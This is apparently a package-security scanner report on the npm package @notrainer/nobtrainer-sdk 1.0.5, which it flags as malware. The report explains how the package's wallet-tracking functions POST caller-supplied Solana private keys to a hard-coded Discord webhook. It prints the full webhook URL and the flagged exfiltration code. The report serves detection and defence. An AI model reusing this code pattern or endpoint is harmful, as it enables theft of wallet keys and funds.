@notrainer/nobtrainer-sdk
Solana wallet tracking utilities
This report shows the evidence for @notrainer/nobtrainer-sdk@1.0.5. 4 of 4 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe package exfiltrates caller-supplied wallet private keys to a hard-coded Discord webhook when its tracking API is used. The source explicitly describes one API name as being for obfuscation, supporting a malicious verdict.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
A caller invokes trackWalletInitialization, logWalletActivity, or syncWalletState.
Impact
The webhook operator can obtain the private key and use it to control the associated wallet and funds.
Mechanism
The package places the supplied private key in a message and POSTs it to a Discord webhook; request failures are swallowed.
Attack narrative
When an application calls one of the wallet tracking exports with a private key, the package sends that key in a POST request to a hard-coded Discord webhook. The concealed purpose is indicated by a source comment describing an alternative API name as being for obfuscation. Anyone controlling the webhook can use the exfiltrated key to control the wallet.
AI rationale
The package exfiltrates caller-supplied wallet private keys to a hard-coded Discord webhook when its tracking API is used. The source explicitly describes one API name as being for obfuscation, supporting a malicious verdict.
Evidence
package.jsondist/index.js
Network endpoints1
discord.com/api/webhooks/1433690093175967776/M-6XGbPIpmhkkleZgRqn0CJH4Icm_71Gvi-bU_fO_ftvEX_l8EYuMejHDlAZif6Wh4pJ
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package entry point is dist/index.js.
- dist/index.js hard-codes a Discord webhook as the receiver.
- The tracking function includes the supplied private key in a POST body sent to that webhook.
- The exported sync function forwards its privateKey argument to the tracking function; its comment says the alternative name is for obfuscation.
Evidence against
- The manifest has no preinstall, install, or postinstall hook.
- The outbound request runs when a tracking function is called, not at import time.
Behavioral surface
Network
HighEntropyStringsUrlStrings
Source & flagged code
6 flaggeddist/index.jsView file
8exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
dist/index.jsView on unpkg · L88exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
dist/index.jsView on unpkg · L88Trigger-reachable chain: manifest.main -> dist/index.js
L8: exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Findings
3 Critical3 High2 Medium4 Low
CriticalHardcoded Runtime Data Exfiltrationdist/index.js
CriticalCredential Exfiltrationdist/index.js
CriticalTrigger Reachable Dangerous Capabilitydist/index.js
HighTrigger Reachable Credential Exfiltrationdist/index.js
HighKnown Malware Source Fingerprint Signaturedist/index.js
HighAi Review Evidencepackage.json
MediumNetwork
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @notrainer/nobtrainer-sdk@1.0.5.
The versions list below shows the verdict for each recorded version.
- Avoid installing @notrainer/nobtrainer-sdk@1.0.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.